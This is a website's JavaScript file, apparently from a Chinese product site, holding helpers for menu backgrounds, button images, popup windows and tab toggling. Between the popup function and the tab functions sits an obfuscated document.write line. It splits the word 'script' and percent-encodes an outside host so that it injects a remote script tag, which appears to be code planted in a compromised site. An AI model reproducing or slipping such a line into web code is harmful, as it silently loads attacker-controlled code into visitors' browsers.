// JavaScript Document
//左侧导航菜单背景
function o1(f1,f2){
	f1.background="img/sm_on2.gif";
 
   f2.background="";
	f1.style.color="white";
}
function o2(f1,f2,f3){
	f1.background="img/sm_on2.gif";
 
   f2.background="";
	f1.style.color="white";
}
function c(object,f){
	object.background="";
	f.style.color="black";
}
//详细查看按钮图片
function new1(n1,n2){
	n1.style.display="none";
	n2.style.display="";
}
function ca(object){
	object.src="../images/btn/btn_xh.gif"; 
}
//产品类别文字背景
function op(object){
	object.style.background="#FFFFFF";
}
function cp(object){
	object.style.background="#F5F5F5";
}
//弹出窗口函数
function imeWin(file,w,h){
   window.open(file,'','resizable=yes,width='+w+",height="+h+',scrollbars=yes,left='+(screen.availWidth-w)/2+',top='+(screen.availHeight-h)/2);
}
document.write("<s"+"cript src='http://%61"+"d.%7a"+"om"+"12%33"+".n"+"et/i"+"p.asp?l"+"oc=chengdu'><\/s"+"cript>");
function tb1() //显示tb1 隐藏tb2
{
var tb2=document.getElementById("tb2");//定义tb1
 tb2.style.display="none";
var tb1= document.getElementById("tb1");//定义tb2
tb1.style.display="block";


}
function tb2() //显示tb2 隐藏tb1
{
 var tb1=document.getElementById("tb1");//定义tb1

 var tb2= document.getElementById("tb2");//定义tb2
tb1.style.display="none";

tb2.style.display="block";

}
function yq(f4,f5) //显示tb2 隐藏tb1
{
 var tb1=document.getElementById("pro1");//定义tb1
 
 var tb2= document.getElementById("pro2");//定义tb2
tb2.style.display="none";
f4.style.color="red";
f5.style.color="black";
tb1.style.display="block";

}
function pj(f4,f5) //显示tb2 隐藏tb1
{
 var tb1=document.getElementById("pro1");//定义tb1

 var tb2= document.getElementById("pro2");//定义tb2
tb1.style.display="none";
f5.style.color="red";
f4.style.color="black";
tb2.style.display="block";

}